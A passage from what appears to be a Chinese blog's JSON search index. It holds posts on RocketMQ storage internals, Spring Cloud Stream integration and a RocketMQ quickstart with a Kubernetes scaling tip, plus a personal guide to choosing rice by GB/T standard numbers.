slotValue); 38 39 this.mappedByteBuffer.putInt(absSlotPos, this.indexHeader.getIndexCount()); 40 41 if (this.indexHeader.getIndexCount() \u0026lt;= 1) { 42 this.indexHeader.setBeginPhyOffset(phyOffset); 43 this.indexHeader.setBeginTimestamp(storeTimestamp); 44 } 45 46 if (invalidIndex == slotValue) { 47 this.indexHeader.incHashSlotCount(); 48 } 49 this.indexHeader.incIndexCount(); 50 this.indexHeader.setEndPhyOffset(phyOffset); 51 this.indexHeader.setEndTimestamp(storeTimestamp); 52 53 return true; 54 } catch (Exception e) { 55 log.error(\u0026#34;putKey exception, Key: \u0026#34; + key + \u0026#34; KeyHashCode: \u0026#34; + key.hashCode(), e); 56 } finally { 57 if (fileLock != null) { 58 try { 59 fileLock.release(); 60 } catch (IOException e) { 61 log.error(\u0026#34;Failed to release the lock\u0026#34;, e); 62 } 63 } 64 } 65 } else { 66 log.warn(\u0026#34;Over index file capacity: index count = \u0026#34; + this.indexHeader.getIndexCount() 67 + \u0026#34;; index max num = \u0026#34; + this.indexNum); 68 } 69 70 return false; 71} 简单说就是：先是根据 key 计算 hashcode，对 500w 取模，就可以知道位于哪个 hash 槽。根据槽值的内容，再通过计算 index 条目位置，获取到 index 条目，再依次获取上一个 hash 冲突节点的 index 条目。\n总结 RocketMQ 文件存储模型层次结构 RocketMQ 存储的文件主要包括 Commitlog 文件、ConsumeQueue 文件、Index 文件。\n消息存储是由 ConsumeQueue 和 CommitLog 配合完成。CommitLog 存储消息真正内容的文件。他们都有各自的生成规则、存储路径、数据结构。内部还有与与他们相映射的 java 数据结构如 MappedFile、MappedByteBuffer、MappedFileQueue 等。\n“\nRocketMQ 采用的是混合型的存储结构，即为 Broker 单个实例下所有的队列共用一个日志数据文件（即为 CommitLog）来存储。RocketMQ 的混合型存储结构（多个 Topic 的消息实体内容都存储于一个 CommitLog 中）针对 Producer 和 Consumer 分别采用了数据和索引部分相分离的存储结构，Producer 发送消息至 Broker 端，然后 Broker 端使用同步或者异步的方式对消息刷盘持久化，保存至 CommitLog 中。只要消息被刷盘持久化至磁盘文件 CommitLog 中，那么 Producer 发送的消息就不会丢失。正因为如此，Consumer 也就肯定有机会去消费这条消息。当无法拉取到消息后，可以等下一次消息拉取，同时服务端也支持长轮询模式，如果一个消息拉取请求未拉取到消息，Broker 允许等待 30s 的时间，只要这段时间内有新消息到达，将直接返回给消费端。这里，RocketMQ 的具体做法是，使用 Broker 端的后台服务线程—ReputMessageService 不停地分发请求并异步构建 ConsumeQueue（逻辑消费队列）和 IndexFile（索引文件）数据。\n”\nConsumeQueue（逻辑消费队列）作为消费消息的索引，保存了指定 Topic 下的队列消息在 CommitLog 中的起始物理偏移量 offset，消息大小 size 和消息 Tag 的 HashCode 值。而 IndexFile（索引文件）则只是为了消息查询提供了一种通过 key 或时间区间来查询消息的方法。\n最后结合消息的生产、消费与存储来一起看一下这个流程：\n参考 https://github.com/apache/rocketmq/blob/master/docs/cn/architecture.md https://github.com/apache/rocketmq/blob/master/docs/cn/design.md https://blog.csdn.net/prestigeding/article/details/79482339 https://www.cnblogs.com/zuoyang/p/14465764.html https://fdx321.github.io/2017/08/22/%E3%80%90RocketMQ%E6%BA%90%E7%A0%81%E5%AD%A6%E4%B9%A0%E3%80%916-%E6%B6%88%E6%81%AF%E5%AD%98%E5%82%A8/ https://juejin.cn/post/6844904149725741064#heading-7 https://help.aliyun.com/document_detail/29540.html https://cloud.tencent.com/developer/article/1581366 http://blog.pkspace.cn/article/14 https://blog.csdn.net/wengfuying5308/article/details/106535405 ","date":"2021-12-08T10:34:01Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-12-08-zi-ding-xiang-xia-xue-xi-rocketmq-san-xiao-xi-cun-chu/cover.jpg","permalink":"/p/2021-12-08-zi-ding-xiang-xia-xue-xi-rocketmq-san-xiao-xi-cun-chu/","title":"自顶向下学习 RocketMQ（三）：消息存储"},{"content":"why 上文中我们讨论了 RocketMQ 的安装问题，有些重要的问题忘了说，即：\n为什么要用消息队列 消息队列有什么用？ 用了消息队列有什么好处？ 来讨论为什么之前，先来看一下消息模型，即 “是什么？”，我们引用 RocketMQ 的消息模型：\n“\nRocketMQ 主要由 Producer、Broker、Consumer 三部分组成，其中 Producer 负责生产消息，Consumer 负责消费消息，Broker 负责存储消息。Broker 在实际部署过程中对应一台服务器，每个 Broker 可以存储多个 Topic 的消息，每个 Topic 的消息也可以分片存储于不同的 Broker。Message Queue 用于存储消息的物理地址，每个 Topic 中的消息地址存储于多个 Message Queue 中。ConsumerGroup 由多个 Consumer 实例构成。\n”\n可以看到，主要是有 Producer、Broker、Consumer 这三部分。利用这样的模型，一般来说我们可以做到几点应用：\n异步 解耦 削峰填谷 异步 相对同步，异步理论上执行的速度更快，效率更高，主线程执行完自己的逻辑然后发一条消息给消息队列就结束了，另外一个异步线程去订阅然后消费这条消息。\n解耦 其实异步和解耦关系很密切，如果你把一个业务从同步的改成异步的了，实际上它从业务上就已经解耦了，至于形式上，无论你是用多个微服务进行拆分解耦，还是多个线程进行拆分解耦，都是解耦的。举个比较常见的例子，也是异步场景的，比如电商的用户下单购买后，增加消费积分场景：订单服务主业务逻辑结束后会给消息队列发一条增加消费积分的消息，下游营销服务会去订阅这条消息消费它，异步地执行增加积分的逻辑。\n当然解耦后，系统间调用关系从大的业务上是同步的还是异步的，完全是由业务自己决定的。\n削峰填谷 说白了，就是根据系统的处理能力来处理信息。在我们没有用消息队列之前，系统接收多少请求就都要处理完响应回去，处理的能力是根据单机或集群的处理能力而定，当然这是有上限的，虽然可以扩展，但可扩展的粒度比较粗：scale out 或 scale up，要么增加机器，要么扩展单机性能。如果我只是有某一类请求有问题处理不过来，其他的没啥事儿，这种扩展粒度就不太合适了。\n利用消息队列，我们完全可以实现灵活的扩展，即将更细粒度的请求，解耦抽象为消息，发送到消息队列，让下游服务根据自身的能力去进消费。这里还涉及一个“流控”的问题，即像控制水流的流速一样，我们也要根据上下游系统及消息队列的处理能力来控制消息的流量，以 RocketMQ 为例：\n生产者流控，因为 broker 处理能力达到瓶颈 消费者流控，因为消费能力达到瓶颈。 所谓削峰填谷，讲究的是一个平衡，这个平衡是系统和消息队列处理能力与消息流量之间的平衡。峰值的时候控一控让它下来，低谷的时候填一填让它上来，仅此而已。\nSpring Cloud Stream 聊完 why, 我们回到本文的正题，既然是 SpringCloud 的整合，那我们先聊一下 SpringCloud 吧。\nSpring Cloud 体系内本身是有基于消息驱动的微服务框架的，即 Spring Cloud Stream。\n“\nSpring Cloud Stream is a framework for building highly scalable event-driven microservices connected with shared messaging systems.\nThe framework provides a flexible programming model built on already established and familiar Spring idioms and best practices, including support for persistent pub/sub semantics, consumer groups, and stateful partitions.\n”\nSpring Cloud Stream 提供了消息中间件配置的统一抽象，推出了 publish-subscribe、consumer groups、partition 这些统一的概念，有效的简化了上层研发人员对 MQ 使用的复杂度，让开发人员更多的精力投入到核心业务的处理。\nSpring Cloud Stream 解决什么问题？\n无感知的使用消息中间件 Stream 解决了开发人员无感知的使用消息中间件的问题，因为 Stream 对消息中间件的进一步封装，可以做到代码层面对中间件的无感知。\n中间件和服务的高度解耦 Spring Cloud Stream 进行了配置隔离，只需要调整配置，开发中可以动态的切换中间件（如 rabbitmq 切换为 kafka)，使得微服务开发的高度解耦，服务可以关注更多自己的业务流程。\n应用模型 Spring Cloud Stream 由一个中立的中间件内核组成。Spring Cloud Stream 会注入输入和输出的 channels，应用程序通过这些 channels 与外界通信，而 channels 则是通过一个明确的中间件 Binder 与外部 brokers 连接。\n列举下 Binder 的实现：\nRabbitMQ Apache Kafka Amazon Kinesis Google PubSub (partner maintained) Solace PubSub+ (partner maintained) Azure Event Hubs (partner maintained) Apache RocketMQ (partner maintained) 另外还有一个概念叫 Binding,Binding 在消息中间件与应用程序提供的 Provider 和 Consumer 之间提供了一个桥梁，实现了开发者只需使用应用程序的 Provider 或 Consumer 生产或消费数据即可，屏蔽了开发者与底层消息中间件的接触。Binding 包括 Input Binding 和 Output Binding。\n注意这里的 input 和 output 是站在生产者和消费者的角度，而不是 broker 的角度，如果你生产消息，那么对应使用的应该是 output, 如果你消费消息，那么对应使用的应该是 input。\n接入 RocketMQ 依赖 使用 SpringCloud SpringBoot SpringCloud Alibaba 的组合，版本信息如下：\n1 \u0026lt;spring.boot.version\u0026gt;2.3.2.RELEASE\u0026lt;/spring.boot.version\u0026gt; 2 \u0026lt;spring.cloud.version\u0026gt;Hoxton.SR9\u0026lt;/spring.cloud.version\u0026gt; 3 \u0026lt;spring.cloud.alibaba.version\u0026gt;2.2.6.RELEASE\u0026lt;/spring.cloud.alibaba.version\u0026gt; 依赖包\n1\u0026lt;dependency\u0026gt; 2 \u0026lt;groupId\u0026gt;org.springframework.boot\u0026lt;/groupId\u0026gt; 3 \u0026lt;artifactId\u0026gt;spring-boot-starter-web\u0026lt;/artifactId\u0026gt; 4\u0026lt;/dependency\u0026gt; 5\u0026lt;dependency\u0026gt; 6 \u0026lt;groupId\u0026gt;com.alibaba.cloud\u0026lt;/groupId\u0026gt; 7 \u0026lt;artifactId\u0026gt;spring-cloud-starter-stream-rocketmq\u0026lt;/artifactId\u0026gt; 8\u0026lt;/dependency\u0026gt; 9\u0026lt;dependency\u0026gt; 10 \u0026lt;groupId\u0026gt;org.springframework.boot\u0026lt;/groupId\u0026gt; 11 \u0026lt;artifactId\u0026gt;spring-boot-starter-actuator\u0026lt;/artifactId\u0026gt; 12\u0026lt;/dependency\u0026gt; 配置 1spring: 2 mvc: 3 throw-exception-if-no-handler-found: true # 处理 404 问题 4 resources: 5 add-mappings: false # 关闭 404 资源映射 6 application: 7 name: mq-example 8 cloud: 9 stream: 10 bindings: 11 # 定义 name 为 input 的 binding 12 input: 13 content-type: application/json 14 destination: test-topic 15 group: test-group 16 # 定义 name 为 output 的 binding 17 output: 18 content-type: application/json 19 destination: test-topic 20 rocketmq: 21 binder: 22 # 配置 rocketmq 的 nameserver 地址 23 name-server: 127.0.0.1:9876 生产\u0026amp;消费 生产者 controller\n1 @GetMapping(\u0026#34;/produce\u0026#34;) 2 public void produceMsg() { 3 4 Map\u0026lt;String, Object\u0026gt; headers = new HashMap\u0026lt;\u0026gt;(); 5 headers.put(MessageConst.PROPERTY_TAGS, \u0026#34;test\u0026#34;); 6 Message message = MessageBuilder.createMessage(\u0026#34;Hello RocketMQ!\u0026#34;, new MessageHeaders(headers)); 7 output.send(message); 8 System.out.println(\u0026#34;发送了消息 \u0026#34;+message); 9 10 } 消费者订阅\n1@Service 2public class ReceiveService { 3 4 /** 5 * 订阅消息 6 * @param receiveMsg 7 */ 8 @StreamListener(\u0026#34;input\u0026#34;) 9 public void receiveInput1(String receiveMsg) { 10 System.out.println(\u0026#34; 接受到消息 input receive: \u0026#34; + receiveMsg); 11 } 12} 测试 首先启动 RocketMQ(nameserver 和 broker) ，然后启动服务，调用 controller 接口 发送消息，查看接收到的消息内容。\n也可以通过 dashboard 查看消息的接收状态。\n参考 https://spring.io/projects/spring-cloud-stream https://github.com/alibaba/spring-cloud-alibaba/blob/master/spring-cloud-alibaba-examples/rocketmq-example/readme-zh.md https://docs.spring.io/spring-cloud-stream/docs/3.1.5/reference/html/spring-cloud-stream.html#spring-cloud-stream-reference https://www.cnblogs.com/binyue/p/12222198.html ","date":"2021-12-06T10:49:07Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-12-06-zi-ding-xiang-xia-xue-xi-rocketmq-er-springcloud-zheng-he-ro/cover.jpg","permalink":"/p/2021-12-06-zi-ding-xiang-xia-xue-xi-rocketmq-er-springcloud-zheng-he-ro/","title":"自顶向下学习 RocketMQ（二）SpringCloud 整合 RocketMQ"},{"content":"安装部署 RocketMQ 采用源码编译安装，注意请提前将 maven 安装调试好。\n操作系统 macOS RocketMQ 版本：4.9.2 Maven 版本 3.3.9 JDK 版本 1.8.0_181 以下安装是单 Master 模式，非集群模式，仅适用于本地开发和测试环境。\n下载源码包 1wget https://dlcdn.apache.org/rocketmq/4.9.2/rocketmq-all-4.9.2-source-release.zip 解压源码并进行编译 1\u0026gt; unzip rocketmq-all-4.9.2-source-release.zip 2\u0026gt; cd rocketmq-all-4.9.2/ 3\u0026gt; mvn -Prelease-all -DskipTests clean install -U 4\u0026gt; cd distribution/target/rocketmq-4.9.2/rocketmq-4.9.2 启动 Name Server 在上一步的目录下，执行：\n1\u0026gt; nohup sh bin/mqnamesrv \u0026amp; 2\u0026gt; tail -f ~/logs/rocketmqlogs/namesrv.log 3 4021-11-24 16:50:14 INFO main - tls.client.keyPassword = null 52021-11-24 16:50:14 INFO main - tls.client.certPath = null 62021-11-24 16:50:14 INFO main - tls.client.authServer = false 72021-11-24 16:50:14 INFO main - tls.client.trustCertPath = null 82021-11-24 16:50:14 INFO main - Using JDK SSL provider 92021-11-24 16:50:15 INFO main - SSLContext created for server 102021-11-24 16:50:15 INFO NettyEventExecutor - NettyEventExecutor service started 112021-11-24 16:50:15 INFO main - Try to start service thread:FileWatchService started:false lastThread:null 122021-11-24 16:50:15 INFO FileWatchService - FileWatchService service started 132021-11-24 16:50:15 INFO main - The Name Server boot success. serializeType=JSON 启动 Broker 1\u0026gt; nohup sh bin/mqbroker -n localhost:9876 \u0026amp; 2\u0026gt; tail -f ~/logs/rocketmqlogs/broker.log 3 42021-11-24 16:52:22 INFO main - The broker[localhost, 10.3.10.244:10911] boot success. serializeType=JSON and name server is localhost:9876 52021-11-24 16:52:32 INFO BrokerControllerScheduledThread1 - dispatch behind commit log 0 bytes 62021-11-24 16:52:32 INFO BrokerControllerScheduledThread1 - Slave fall behind master: 202890 bytes 72021-11-24 16:52:32 INFO brokerOutApi_thread_2 - register broker[0]to name server localhost:9876 OK 82021-11-24 16:53:02 INFO brokerOutApi_thread_3 - register broker[0]to name server localhost:9876 OK 安装 RocketMQ-Dashboard 可视化工具，可以在浏览器中查看消息队列的状态。\n同样用源码安装，当然也可以用 docker 安装。\n下载源码包 1 wget https://github.com/apache/rocketmq-dashboard/archive/refs/tags/rocketmq-dashboard-1.0.0.zip 编译运行 1 2\u0026gt; unzip rocketmq-dashboard-1.0.0.zip 3\u0026gt; cd rocketmq-dashboard-rocketmq-dashboard-1.0.0 4\u0026gt; mvn spring-boot:run 这时候会出现如下错误：\n1Caused by: org.apache.rocketmq.remoting.exception.RemotingConnectException: connect to null failed 2 at org.apache.rocketmq.remoting.netty.NettyRemotingClient.invokeSync(NettyRemotingClient.java:394) 3 at org.apache.rocketmq.client.impl.MQClientAPIImpl.getBrokerClusterInfo(MQClientAPIImpl.java:1333) 4 at org.apache.rocketmq.tools.admin.DefaultMQAdminExtImpl.examineBrokerClusterInfo(DefaultMQAdminExtImpl.java:306) 5 at org.apache.rocketmq.tools.admin.DefaultMQAdminExt.examineBrokerClusterInfo(DefaultMQAdminExt.java:257) 6 at org.apache.rocketmq.dashboard.service.client.MQAdminExtImpl.examineBrokerClusterInfo(MQAdminExtImpl.java:204) 7 at org.apache.rocketmq.dashboard.service.client.MQAdminExtImpl$$FastClassBySpringCGLIB$$a15c4ca6.invoke(\u0026lt;generated\u0026gt;) 8 at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:218) 9 at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:769) 10 at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:163) 11 at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.proceed(CglibAopProxy.java:747) 12 at org.springframework.aop.aspectj.MethodInvocationProceedingJoinPoint.proceed(MethodInvocationProceedingJoinPoint.java:88) 13 at org.apache.rocketmq.dashboard.aspect.admin.MQAdminAspect.aroundMQAdminMethod(MQAdminAspect.java:52) 14 at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) 15 at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) 16 at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) 17 at java.lang.reflect.Method.invoke(Method.java:498) 明显是连不上服务器，需要修改配置文件：\n1\u0026gt; cd src/main/resources/ 打开 application.properties 文件\n1# 2# Licensed to the Apache Software Foundation (ASF) under one or more 3# contributor license agreements. See the NOTICE file distributed with 4# this work for additional information regarding copyright ownership. 5# The ASF licenses this file to You under the Apache License, Version 2.0 6# (the \u0026#34;License\u0026#34;); you may not use this file except in compliance with 7# the License. You may obtain a copy of the License at 8# 9# http://www.apache.org/licenses/LICENSE-2.0 10# 11# Unless required by applicable law or agreed to in writing, software 12# distributed under the License is distributed on an \u0026#34;AS IS\u0026#34; BASIS, 13# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 14# See the License for the specific language governing permissions and 15# limitations under the License. 16# 17 18server.address=0.0.0.0 19server.port=8080 20 21### SSL setting 22#server.ssl.key-store=classpath:rmqcngkeystore.jks 23#server.ssl.key-store-password=rocketmq 24#server.ssl.keyStoreType=PKCS12 25#server.ssl.keyAlias=rmqcngkey 26 27#spring.application.index=true 28spring.application.name=rocketmq-dashboard 29spring.http.encoding.charset=UTF-8 30spring.http.encoding.enabled=true 31spring.http.encoding.force=true 32logging.level.root=INFO 33logging.config=classpath:logback.xml 34#if this value is empty,use env value rocketmq.config.namesrvAddr NAMESRV_ADDR | now, you can set it in ops page.default localhost:9876 35rocketmq.config.namesrvAddr= 36#if you use rocketmq version \u0026lt; 3.5.8, rocketmq.config.isVIPChannel should be false.default true 37rocketmq.config.isVIPChannel= 38#timeout for mqadminExt, default 5000ms 39rocketmq.config.timeoutMillis= 40#rocketmq-console\u0026#39;s data path:dashboard/monitor 41rocketmq.config.dataPath=/tmp/rocketmq-console/data 42#set it false if you don\u0026#39;t want use dashboard.default true 43rocketmq.config.enableDashBoardCollect=true 44#set the message track trace topic if you don\u0026#39;t want use the default one 45rocketmq.config.msgTrackTopicName= 46rocketmq.config.ticketKey=ticket 47 48#Must create userInfo file: ${rocketmq.config.dataPath}/users.properties if the login is required 49rocketmq.config.loginRequired=false 50 51#set the accessKey and secretKey if you used acl 52#rocketmq.config.accessKey= 53#rocketmq.config.secretKey= 54rocketmq.config.useTLS=false 根据注释我们得知，需要将 rocketmq.config.namesrvAddr 设置为：localhost:9876, 再次启动成功。\n访问：http://localhost:8080/ ，当然你也可以修改地址或者更改端口号。同样是修改 application.properties 文件，修改成类似这样的配置：\n1server.port=8083 2server.servlet.context-path=/rocketmq-dashboard 测试消息的发送和接收 1\u0026gt; export NAMESRV_ADDR=localhost:9876 2\u0026gt; sh bin/tools.sh org.apache.rocketmq.example.quickstart.Producer 3 SendResult [sendStatus=SEND_OK, msgId= ... 4 5\u0026gt; sh bin/tools.sh org.apache.rocketmq.example.quickstart.Consumer 6 ConsumeMessageThread_%d Receive New Messages: [MessageExt... 关闭 nameServer 和 broker 1\u0026gt; sh bin/mqshutdown broker 2The mqbroker(36695) is running... 3Send shutdown request to mqbroker(36695) OK 4 5\u0026gt; sh bin/mqshutdown namesrv 6The mqnamesrv(36664) is running... 7Send shutdown request to mqnamesrv(36664) OK 其他高可用部署方式 多 Master 模式 多 Master 多 Slave 模式-异步复制 多 Master 多 Slave 模式-同步双写 具体部署方式可参考：文档\n这里贴一个比较完整的生产 K8S 部署方案：\nhttps://cloud.tencent.com/developer/article/1785729\n上面这个方案是一个双主双从的配置，每个 statefulset 只有一个副本，每个 Pod 拥有自己的配置文件，根据 RocketMQ 文档的说明来配置，没有什么问题。但当我们要扩展多 Master, 多 Slave 的时候，就会比较麻烦，要再建 Master Slave 对，增加 statefulset。\n下面有一个部署技巧可以解决这个的问题。\n通过 statefulset 副本扩展集群规模 “\n以上 Broker 与 Slave 配对是通过指定相同的 BrokerName 参数来配对，Master 的 BrokerId 必须是 0，Slave 的 BrokerId 必须是大于 0 的数。\n”\n根据文档得知 Master 和 Slave 是根据 BrokerName 来配对的，所以上面的部署配置中也对同一对的主从设置了相同的 BrokerName。\n如果没有配置 BrokerName 有默认值吗？\n我们来看下 RocketMQ 的源码：\n1 2public class BrokerConfig { 3 private static final InternalLogger log = InternalLoggerFactory.getLogger(LoggerName.COMMON_LOGGER_NAME); 4 5 private String rocketmqHome = System.getProperty(MixAll.ROCKETMQ_HOME_PROPERTY, System.getenv(MixAll.ROCKETMQ_HOME_ENV)); 6 @ImportantField 7 private String namesrvAddr = System.getProperty(MixAll.NAMESRV_ADDR_PROPERTY, System.getenv(MixAll.NAMESRV_ADDR_ENV)); 8 @ImportantField 9 private String brokerIP1 = RemotingUtil.getLocalAddress(); 10 private String brokerIP2 = RemotingUtil.getLocalAddress(); 11 @ImportantField 12 private String brokerName = localHostName(); 13 @ImportantField 14 private String brokerClusterName = \u0026#34;DefaultCluster\u0026#34;; 15 16 */ 17 @ImportantField 18 private boolean aclEnable = false; 19 20 private boolean storeReplyMessageEnable = true; 21 22 private boolean autoDeleteUnusedStats = false; 23 24 public static String localHostName() { 25 try { 26 return InetAddress.getLocalHost().getHostName(); 27 } catch (UnknownHostException e) { 28 log.error(\u0026#34;Failed to obtain the host name\u0026#34;, e); 29 } 30 31 return \u0026#34;DEFAULT_BROKER\u0026#34;; 32 } 可见，brokerName 有默认值 ，即如果没有主动 set brokerName，那么获取的是 localhostName。\npod 的 hostname 即为 pod 的名字，如果我们的 pod 名字是 broker-0，那么它的 hostname 就是 broker-0。联系上面 RocketMQ 的源码，brokerName 的值如果不设置拿到的就是 hostname, 即 pod Name。\n由于我们部署 RocketMQ 时用的是有状态服务 (statefulset)，statefulset 的 Pod 的命名是有规则的：\n“\n对于一个拥有 N 个副本的 StatefulSet，Pod 被部署时是按照 {0 …… N-1} 的序号顺序创建的。\n”\n于是我们就可以利用 statefulset 的命名规则进行集群的扩展了，例如我要设置一个双主双从的集群，那么只需要将 master 和 slave 的 statefulset 的副本数设置为 2 就可以了，结果类似这样：\n1rocketmq-broker-master-0 1/1 Running 1 462d 2rocketmq-broker-master-1 1/1 Running 0 462d 3rocketmq-broker-slave-0 1/1 Running 1 462d 4rocketmq-broker-slave-1 1/1 Running 0 462d 可见，根据命名规则 RocketMQ 的 Master 和 Slave 可以根据 brokerName（即 pod name）配对正确。那么如果我想要扩展集群，那么我只需要把 master 和 slave 的 statefulset 的副本数设置为 2、3、4、5\u0026hellip; 就可以了。\n以上就完成了只需要改两个 statefulset 的副本数就可以扩展集群的操作。一个小技巧分享给大家。\n参考 https://github.com/apache/rocketmq/tree/master/docs/cn https://rocketmq.apache.org/docs/quick-start/ https://github.com/apache/rocketmq-dashboard https://cloud.tencent.com/developer/article/1785729 ","date":"2021-11-30T06:42:12Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-11-30-zi-ding-xiang-xia-xue-xi-rocketmq-yi-quickstart/cover.jpg","permalink":"/p/2021-11-30-zi-ding-xiang-xia-xue-xi-rocketmq-yi-quickstart/","title":"自顶向下学习 RocketMQ（一）: QuickStart"},{"content":"背景 民以食为天，作为普通老百姓大米是我们日常最普遍的主食（没有之一）\n您是如何选购大米的呢？本文我们来讨论如何选购大米，可以让我们买的明白，吃的放心。\n场景 还原一下我们的生活场景，看看我们日常是如何选购大米的。\n线下超市 最普遍的可能就是线下超市购买了，到了超市，我们一般看到的情况是这样的：\n这样的：\n还有这样的：\n线上电商 如何选购 根据上面列举的场景，无论是在线下还是线上，可供我们选择的大米那真可谓是五花八门、琳琅满目。\n面对这样的情况，您是怎么选择的呢？难免有点儿眼花缭乱是吧？我不知道别人是怎么选择的，根据我自己在线下超市购买的经验，无非是这样几方面的考虑：\n看价格，我是普通老百姓，超过百元的米（5kg）应试不会考虑，或慎重考虑 看品牌，大品牌一般还是信得过的吧？ 看包装，包装我是能看出哪个显得高档一些，哪个显得一般一些的 听导购，导购一般会推荐我买某个品牌或某款米 随大流，经常听人家说的，别人都买的，应该没错吧。比如东北大米什么的。 对我而言，上面几点考虑的优选级从高到低依次是：1，2，3，5，4\n当然别人可能还有别的考虑比如：\n米粒长短 新米还是旧米（话说没人标自己是旧米的哈） 手感（用手搓一搓？） 颜色（米粒的颜色？透不透亮？） 口感（直接吃生的？） 但是这样听起来就有问题，一点儿都不科学对不对？，买个米这几条算什么标准，哈哈，难道没有一个统一、科学的标准吗？所以我们今天讨论的重点是如何科学选购大米，如果您着急想知道结果，请拉到文章最下面，看我的个人选米推荐，如果您不急这一会儿，想知道原委，请接着往下看。\n国标 刚才我们提到有没有一个统一的科学的标准？其实是有的。\n有关一袋大米的所有秘密都在它的外包装上印着，只是平常我们不注意，比如：\n注意，其中的 \u0026ldquo;执行标准\u0026rdquo; 一行，这里写的 GB/T 1354 就是标准，也叫国标。\n什么是国标？ “\n中华人民共和国国家标准，简称国标，是包括语编码系统的国家标准码，由在国际标准化组织（ISO）和国际电工委员会（或称国际电工协会，IEC）代表中华人民共和国的会员机构：国家标准化管理委员会发布。在 1994 年及之前发布的标准，以 2 位数字代表年份。由 1995 年开始发布的标准，标准编号后的年份，才改以 4 个数字代表。强制性国家标准的代号为“GB”, 推荐性国家标准的代号为“GB/T”。\n”\n说人话就是国家为了满足人民生产、生活需要而制定的一套标准和规范。比如厂家生产个产品怎么叫合格，怎么叫不合适，总得有个说法吧。当然国标的范围比较广，涉及到生产、生活、经济、技术等方方面面。\n大米有没有国标？ 当然有，这也是我们讨论的重点，上文图中我们看到的 GB/T 1354 就是大米的国标标号。\n那么只有这一个标号吗？\n当然不是，给大家列举一下现行的标号：\nGB/T 1354-2018 大米 GB/T 19266-2008 五常大米 GB/T 22438-2008 原阳大米 GB/T 18824-2008 盘锦大米 GB/T 20040-2005 方正大米 标号最后的四位，是指标准的发布日期，由于标准也会更新，所以最后四位的日期是会变的，一般大米包装上很少有印后四位的，我也见过印的，一般只印成类似这样： GB/T 19266\n不同标号有什么区别？ 既然标号不同，当然就是有区别的。有什么区别 ？\n简言之：其他标号应该都比第一个 GB/T 1354 的品质好些。\n不知道从上文的列表中发现规律没有，除第一个外，其他的标号后面都有具体的地域名称，比如五常、盘锦等。这些有名称的都是 地理标志产品，标志着这个标号的大米的产地。\n为什么其他标号好？ 这个我们打开上图中的国标文件具体来看就知道了。\n我们首先讨论下第一个 GB/T 1354\n这里说一下几个标号的关系，通过前面几张图你应该也有感觉了，这几个标号的制定是有脉络的，具体来说就是：GB/T 1354-2018 大米 是泛指所有大米，而其他标号对 GB/T 1354-2018 大米 是引用关系，比如：\n盘锦大米略显不同，它引用的是 稻谷\n不过 GB 1350 的 稻谷 又引用了 GB/T 1354 大米，所以盘锦大米间接引用了 GB/T 1354 大米\nOK, 就算是标号有引用关系，怎么就能证明其他标号的米比较好呢？\n关于这点，我们还是回到国标文件中具体来看一下。文件中有很多专业名词、检验方法之类的我也看不懂，但其中有一些东西是能看懂的，也是我们重点关注的，比如：质量要求和 质量指标，这基本上就是我来判断米不同标号的米谁更好的标准了。\n我们先来看一下 GB/T 1354-2018 大米 的：\n看起来没有头绪是吧，我给大家划一下重点，首先这是两张表，一张是大米质量指标，一张是优质大米质量指标，你想吃哪个？还用说嘛，所以我们看优质的那张。优质的那张提到 籼米和粳米 的概念，我们先来了解下这两个概念：\n籼（xian, 一声）米：粘性比较小，做出来的米饭松散，颗粒分明，口感要稍硬一些，适合做蛋炒饭，常见的泰国香米、丝苗米都属于籼米 粳（jing，一声）米：黏性比较大，煮出来的米饭口感软糯，最适合熬粥的，黏稠又烂乎 再回到表格中，我最关注的只有三个指标（其他的看不懂）：\n淀粉含量 水分含量 杂质总量 显然我觉得淀粉量高，水份足，杂质少的就是好米。 于是拿着这个标准我们看一看其他几个标号：\n首先是五常大米：\n然后是原阳大米：\n接着是盘锦大米：\n最后是方正大米：\n你会发现，这几个指标，这几个标号都差不多，应该说略有区别，也就是说这几个标号的大米都是很不错的，但如果要优中选优，从指标上排序的话，我的第一选择会是：五常大米。具体原因也是根据指标数据来的。\n让我们对比一下 GB/T 1354-2018 大米和 GB/T 19266-2008 五常大米的这几个指标吧：\n如何选择五常大米？ 看三点：\n看种子\n我们常说的稻花香就是五优稻的其中一个品种，如五优稻 4 号，俗称稻花香 2 号\n看标志\n正宗五常稻香米，这几个标志一个都不能少。\n看标号\n认准 GB/T 19266-2008 或 GB/T 19266\n这是我今天下午刚买的米，符合这三点（不是广告）\n那么到底怎么选购？ 首先声明，这是我的个人选择和建议，理论上超市买的大米都不错，如果要优中选优，我的建议是是：\n首选五常大米，但要注意看上文中提到的 种子、标志、标号 次选原阳（GB/T 22438）、盘锦（GB/T 18824）、方正（GB/T 20040），也要看标号，不要被坑了。 最后选 GB/T 1354 最后问大家一个问题，检查一下大家学会了没有，也防止上当受骗：\n如果有两袋米都是 5kg, 都卖 99 元，一个标号是GB/T 1354，一个是GB/T 19266，如何选购？\n我当然是会选五常大米啦（GB/T 19266）。\n以上。\n参考 http://www.gb688.cn/bzgk/gb/ http://c.gb688.cn/bzgk/gb/showGb?type=online\u0026hcno=D3E8224A23B51DECEF817798C5D9F498 http://c.gb688.cn/bzgk/gb/showGb?type=online\u0026hcno=B614FE1D068B395ECD778EF3876EA8DA http://c.gb688.cn/bzgk/gb/showGb?type=online\u0026hcno=590C14A1F5FB1CC560FA68D89AE590E4 http://c.gb688.cn/bzgk/gb/showGb?type=online\u0026hcno=7EC77325067DCA4A8638918B09064B29 http://c.gb688.cn/bzgk/gb/showGb?type=online\u0026hcno=0EED7B522A1275F25EC97F91A42D313A http://c.gb688.cn/bzgk/gb/showGb?type=online\u0026hcno=1AD54C52DF30D5FDCC266A179508507E 